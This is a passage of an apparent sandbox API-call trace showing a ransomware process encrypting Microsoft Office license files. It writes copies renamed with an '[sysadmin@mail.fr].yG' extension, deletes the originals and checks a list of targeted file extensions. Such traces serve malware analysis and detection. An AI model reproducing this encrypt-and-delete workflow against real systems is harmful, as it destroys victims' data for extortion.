	[0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0165.216] GetLastError () returned 0x0
	[0165.216] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0165.248] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0165.249] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.249] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0165.249] SetEndOfFile (hFile=0x564) returned 1
	[0165.915] CloseHandle (hObject=0x564) returned 1
	[0166.089] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.089] SetEndOfFile (hFile=0x560) returned 1
	[0166.092] CloseHandle (hObject=0x560) returned 1
	[0166.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1
	[0166.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.094] lstrlenW (lpString=".doc") returned 4
	[0166.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.094] lstrlenW (lpString=".docx") returned 5
	[0166.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.094] lstrlenW (lpString=".pdf") returned 4
	[0166.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.094] lstrlenW (lpString=".xls") returned 4
	[0166.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.094] lstrlenW (lpString=".xlsx") returned 5
	[0166.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.094] lstrlenW (lpString=".ppt") returned 4
	[0166.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.095] lstrlenW (lpString=".zip") returned 4
	[0166.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString=".rar") returned 4
	[0166.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString=".bz2") returned 4
	[0166.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString=".7z") returned 3
	[0166.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.095] lstrlenW (lpString=".dbf") returned 4
	[0166.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.095] lstrlenW (lpString=".1cd") returned 4
	[0166.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0166.095] lstrlenW (lpString=".jpg") returned 4
	[0166.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.096] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19966) returned 1
	[0166.096] CloseHandle (hObject=0x560) returned 1
	[0166.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220
	[0166.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0166.097] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.097] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.098] GetLastError () returned 0x0
	[0166.098] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0166.106] WriteFile (in: hFile=0x550, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0166.107] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.107] WriteFile (in: hFile=0x550, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0166.107] SetEndOfFile (hFile=0x550) returned 1
	[0166.108] CloseHandle (hObject=0x550) returned 1
	[0166.108] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.108] SetEndOfFile (hFile=0x560) returned 1
	[0166.111] CloseHandle (hObject=0x560) returned 1
	[0166.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1
	[0166.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.113] lstrlenW (lpString=".doc") returned 4
	[0166.113] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".docx") returned 5
	[0166.113] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.113] lstrlenW (lpString=".pdf") returned 4
	[0166.113] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".xls") returned 4
	[0166.113] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".xlsx") returned 5
	[0166.113] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.113] lstrlenW (lpString=".ppt") returned 4
	[0166.113] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.113] lstrlenW (lpString=".zip") returned 4
	[0166.113] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".rar") returned 4
	[0166.113] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".bz2") returned 4
	[0166.113] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString=".7z") returned 3
	[0166.113] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.113] lstrlenW (lpString=".dbf") returned 4
	[0166.113] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.114] lstrlenW (lpString=".1cd") returned 4
	[0166.114] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0166.114] lstrlenW (lpString=".jpg") returned 4
	[0166.114] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.114] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10655) returned 1
	[0166.114] CloseHandle (hObject=0x560) returned 1
	[0166.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220
	[0166.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0166.115] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.115] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.116] GetLastError () returned 0x0
	[0166.116] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x299f, lpOverlapped=0x0) returned 1
	[0166.142] WriteFile (in: hFile=0x550, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0166.144] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.144] WriteFile (in: hFile=0x550, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x110, lpOverlapped=0x0) returned 1
	[0166.144] SetEndOfFile (hFile=0x550) returned 1
	[0166.144] CloseHandle (hObject=0x550) returned 1
	[0166.144] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.144] SetEndOfFile (hFile=0x560) returned 1
	[0166.185] CloseHandle (hObject=0x560) returned 1
	[0166.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1
	[0166.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.187] lstrlenW (lpString=".doc") returned 4
	[0166.187] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.187] lstrlenW (lpString=".docx") returned 5
	[0166.187] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.187] lstrlenW (lpString=".pdf") returned 4
	[0166.187] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString=".xls") returned 4
	[0166.188] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString=".xlsx") returned 5
	[0166.188] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.188] lstrlenW (lpString=".ppt") returned 4
	[0166.188] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.188] lstrlenW (lpString=".zip") returned 4
	[0166.188] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString=".rar") returned 4
	[0166.188] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString=".bz2") returned 4
	[0166.188] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.188] lstrlenW (lpString=".7z") returned 3
	[0166.188] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.189] lstrlenW (lpString=".dbf") returned 4
	[0166.189] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.189] lstrlenW (lpString=".1cd") returned 4
	[0166.189] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0166.189] lstrlenW (lpString=".jpg") returned 4
	[0166.189] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.190] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=22091) returned 1
	[0166.191] CloseHandle (hObject=0x560) returned 1
	[0166.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220
	[0166.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0166.192] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.192] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.193] GetLastError () returned 0x0
	[0166.193] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x564b, lpOverlapped=0x0) returned 1
	[0166.209] WriteFile (in: hFile=0x350, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0166.210] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.210] WriteFile (in: hFile=0x350, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x112, lpOverlapped=0x0) returned 1
	[0166.210] SetEndOfFile (hFile=0x350) returned 1
	[0166.210] CloseHandle (hObject=0x350) returned 1
	[0166.210] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.211] SetEndOfFile (hFile=0x560) returned 1
	[0166.512] CloseHandle (hObject=0x560) returned 1
	[0166.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1
	[0166.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.930] lstrlenW (lpString=".doc") returned 4
	[0166.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".docx") returned 5
	[0166.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.930] lstrlenW (lpString=".pdf") returned 4
	[0166.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".xls") returned 4
	[0166.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".xlsx") returned 5
	[0166.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.930] lstrlenW (lpString=".ppt") returned 4
	[0166.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.930] lstrlenW (lpString=".zip") returned 4
	[0166.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".rar") returned 4
	[0166.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".bz2") returned 4
	[0166.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.930] lstrlenW (lpString=".7z") returned 3
	[0166.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.931] lstrlenW (lpString=".dbf") returned 4
	[0166.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.931] lstrlenW (lpString=".1cd") returned 4
	[0166.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0166.931] lstrlenW (lpString=".jpg") returned 4
	[0166.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.139] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11613) returned 1
	[0167.139] CloseHandle (hObject=0x4d8) returned 1
	[0167.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220
	[0167.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.471] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.471] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0167.476] GetLastError () returned 0x0
	[0167.505] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0167.508] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d60, lpOverlapped=0x0) returned 1
